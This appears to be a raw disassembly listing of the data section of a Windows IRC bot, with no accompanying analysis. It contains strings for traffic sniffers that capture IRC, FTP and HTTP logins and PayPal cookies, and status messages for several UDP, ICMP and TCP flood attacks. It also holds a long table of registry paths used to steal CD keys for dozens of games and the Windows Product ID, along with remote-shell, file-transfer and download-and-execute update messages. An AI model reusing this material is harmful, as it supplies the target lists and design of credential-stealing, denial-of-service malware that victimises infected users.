aNick_1		db 'NICK ',0            ; DATA XREF: sub_412477:loc_4124B7o
					; sub_4124ED+2Bo
		align 10h
aOper_0		db 'OPER ',0            ; DATA XREF: sub_412477+2Bo
		align 4
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412477+5o
		align 4
aPass_0		db 'PASS ',0            ; DATA XREF: sub_4124ED+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_4124ED+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_4124ED:loc_41253Eo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_4124ED+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_4124ED+5o
		align 10h
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_412574+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_412574+62o
		align 4
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_412574+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_412574:loc_4125B4o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_412574+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_412574+5o
		align 10h
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_4125FB+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo
		align 10h
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_4125FB+2Bo
		align 10h
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_4125FB+5o
		align 4
unk_43598C	db  2Dh	; -		; DATA XREF: sub_412660+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4359C4	db  2Dh	; -		; DATA XREF: sub_412660+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4359FC	db  2Dh	; -		; DATA XREF: sub_412660+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A30	db  2Dh	; -		; DATA XREF: sub_412660+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A64	db  2Dh	; -		; DATA XREF: sub_412660+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A98	db  2Dh	; -		; DATA XREF: sub_412660+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 4
unk_435AC8	db  2Dh	; -		; DATA XREF: sub_412660+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_435B1C	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_412B08+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_435D44	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_41386B+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_436134	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415134+35o
dword_436148	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415134+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o
		align 10h
dword_436180	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_41524C:loc_415281o
dword_436194	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_41524C+20o
dword_4361A8	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:00415369o
		dd 6574656Ch, 0
dword_4361C4	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: ___:004152CCo
		dd 676E6974h, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4153BC+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4155F7+23o
					; sub_4157F0+26o
		align 10h
		dd 80000001h
off_4361F4	dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr
					; sub_415A2F+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_436200	dd 2 dup(0)		; DATA XREF: sub_415A2F+26o
		dd 80000001h, 437384h, 437378h,	437368h, 2 dup(0)
		dd 80000001h, 437348h, 437344h,	437330h, 2 dup(0)
		dd 80000001h, 43730Ch, 437344h,	437300h, 2 dup(0)
		dd 80000001h, 4372DCh, 4372D4h,	4372C0h, 2 dup(0)
		dd 80000001h, 4372ACh, 43729Ch,	437280h, 2 dup(0)
		dd 80000001h, 43723Ch, 4373C4h,	437228h, 2 dup(0)
		dd 80000002h, 4371FCh, 4371F0h,	4371D0h, 2 dup(0)
		dd 80000002h, 43719Ch, 4373C4h,	437184h, 2 dup(0)
		dd 80000002h, 437150h, 4373C4h,	437138h, 2 dup(0)
		dd 80000002h, 437120h, 4373C4h,	437108h, 2 dup(0)
		dd 80000002h, 4370CCh, 43D128h,	4370BCh, 2 dup(0)
		dd 80000002h, 437084h, 43D128h,	437070h, 2 dup(0)
		dd 80000002h, 437024h, 43D128h,	437004h, 2 dup(0)
		dd 80000002h, 436FB4h, 43D128h,	436F88h, 2 dup(0)
		dd 80000002h, 436F4Ch, 43D128h,	436F38h, 2 dup(0)
		dd 80000002h, 436F00h, 43D128h,	436EF0h, 2 dup(0)
		dd 80000002h, 436EA0h, 43D128h,	436E74h, 2 dup(0)
		dd 80000002h, 436E34h, 43D128h,	436E18h, 2 dup(0)
		dd 80000002h, 436DE8h, 43D128h,	436DC8h, 2 dup(0)
		dd 80000002h, 436D8Ch, 43D128h,	436D78h, 2 dup(0)
		dd 80000002h, 436D30h, 43D128h,	436D10h, 2 dup(0)
		dd 80000002h, 436CBCh, 43D128h,	436C8Ch, 2 dup(0)
		dd 80000002h, 436C3Ch, 43D128h,	436C10h, 2 dup(0)
		dd 80000002h, 436BD0h, 436BC8h,	436BA8h, 2 dup(0)
		dd 80000002h, 436B64h, 43D128h,	436B48h, 2 dup(0)
		dd 80000002h, 436AFCh, 43D128h,	436AD8h, 2 dup(0)
		dd 80000002h, 436AA4h, 43D128h,	436A98h, 2 dup(0)
		dd 80000002h, 436A64h, 43D128h,	436A58h, 2 dup(0)
		dd 80000002h, 436A24h, 43D128h,	436A18h, 2 dup(0)
		dd 80000002h, 4369E4h, 43D128h,	4369D8h, 2 dup(0)
		dd 80000002h, 43699Ch, 43D128h,	436988h, 2 dup(0)
		dd 80000002h, 43694Ch, 43D128h,	436938h, 2 dup(0)
		dd 80000002h, 436908h, 4373C4h,	4368ECh, 2 dup(0)
		dd 80000002h, 4368CCh, 4368C4h,	4368A0h, 2 dup(0)
		dd 80000002h, 436884h, 4368C4h,	436864h, 2 dup(0)
		dd 80000002h, 436844h, 4368C4h,	436820h, 2 dup(0)
		dd 80000002h, 436808h, 4368C4h,	436804h, 2 dup(0)
		dd 80000002h, 4367E8h, 4367D8h,	4367D0h, 2 dup(0)
		dd 80000002h, 43679Ch, 42C218h,	436784h, 2 dup(0)
		dd 80000002h, 436748h, 43673Ch,	436714h, 436704h, 4366F0h
		dd 80000002h, 4366CCh, 4366C0h,	4366ACh, 43669Ch, 436694h
		dd 80000002h, 4366CCh, 4366C0h,	436668h, 43669Ch, 436660h
		dd 80000002h, 4366CCh, 4366C0h,	436630h, 43669Ch, 436628h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset word_584F4E
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 10h
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 10h
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 10h
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 10h
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 10h
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 10h
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 10h
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 10h
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 10h
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 10h
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 10h
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 10h
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 10h
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 10h
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:004361FCo
aCdkey		db 'CDKey',0            ; DATA XREF: ___:004361F8o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4361F4o
		align 4
asc_4373F4:				; DATA XREF: sub_415A2F+E9o
					; sub_415A2F+F4o
		unicode	0, <=>,0
dword_4373F8	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_415A2F+2Bo
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_437474	db  2Dh	; -		; DATA XREF: ___:00415F17o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 4
dword_437498	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:0041617Co
					; ___:00416312o
		dd 726F72h
unk_4374B0	db  2Dh	; -		; DATA XREF: ___:00416114o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_4374DC	db  2Dh	; -		; DATA XREF: ___:0041601Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 10h
dword_437500	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:00415FE5o
		dd 74756Fh
dword_437518	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:00415F84o
		dd 169h
unk_437530	db  2Dh	; -		; DATA XREF: ___:00415F41o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 10h
unk_437550	db  2Dh	; -		; DATA XREF: ___:00415E9Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_437574	db  2Dh	; -		; DATA XREF: ___:00415E5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 4
unk_437598	db  2Dh	; -		; DATA XREF: ___:0041638Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_4375C4	db  2Dh	; -		; DATA XREF: ___:00416287o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_4375E4	db  2Dh	; -		; DATA XREF: ___:00416267o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 10h
aAB		db 'a+b',0              ; DATA XREF: ___:00416253o
unk_437614	db  2Dh	; -		; DATA XREF: ___:0041623Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_437644	db  2Dh	; -		; DATA XREF: ___:0041688Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_437670	db  2Dh	; -		; DATA XREF: ___:0041687Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_4376A4	db  2Dh	; -		; DATA XREF: ___:004167C2o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 4
dword_4376E8	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416751o
		dd 25206465h, 73h
unk_437704	db  2Dh	; -		; DATA XREF: ___:004166DAo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_43773C	db  2Dh	; -		; DATA XREF: ___:0041665Bo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_437764	db  2Dh	; -		; DATA XREF: ___:004165D1o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 10h
unk_437790	db  2Dh	; -		; DATA XREF: ___:0041658Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 4
unk_4377B8	db  2Dh	; -		; DATA XREF: ___:0041657Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 10h
unk_4377E0	db  2Dh	; -		; DATA XREF: ___:00416470o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4169A1:loc_4169E4o
					; sub_418EF6+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4169A1:loc_4169DEo
aDisk		db 'Disk',0             ; DATA XREF: sub_4169A1:loc_4169D8o
		align 10h
aNetwork	db 'Network',0          ; DATA XREF: sub_4169A1:loc_4169D2o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4169A1:loc_4169CCo
		align 10h
off_437830	dd offset word_4D4152	; DATA XREF: sub_4169A1:loc_4169C6o
word_437834	dw 3Fh			; DATA XREF: sub_4169A1+1Fo
					; sub_41AA42:loc_41AB44r
		align 4
aFailed		db 'failed',0           ; DATA XREF: sub_416A32:loc_416B10o
					; sub_416B56+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_416A32+6Co
		align 4
unk_437848	db  2Dh	; -		; DATA XREF: sub_416B56+8Eo
		db 3, 34h, 2
		db  6Dh	; m
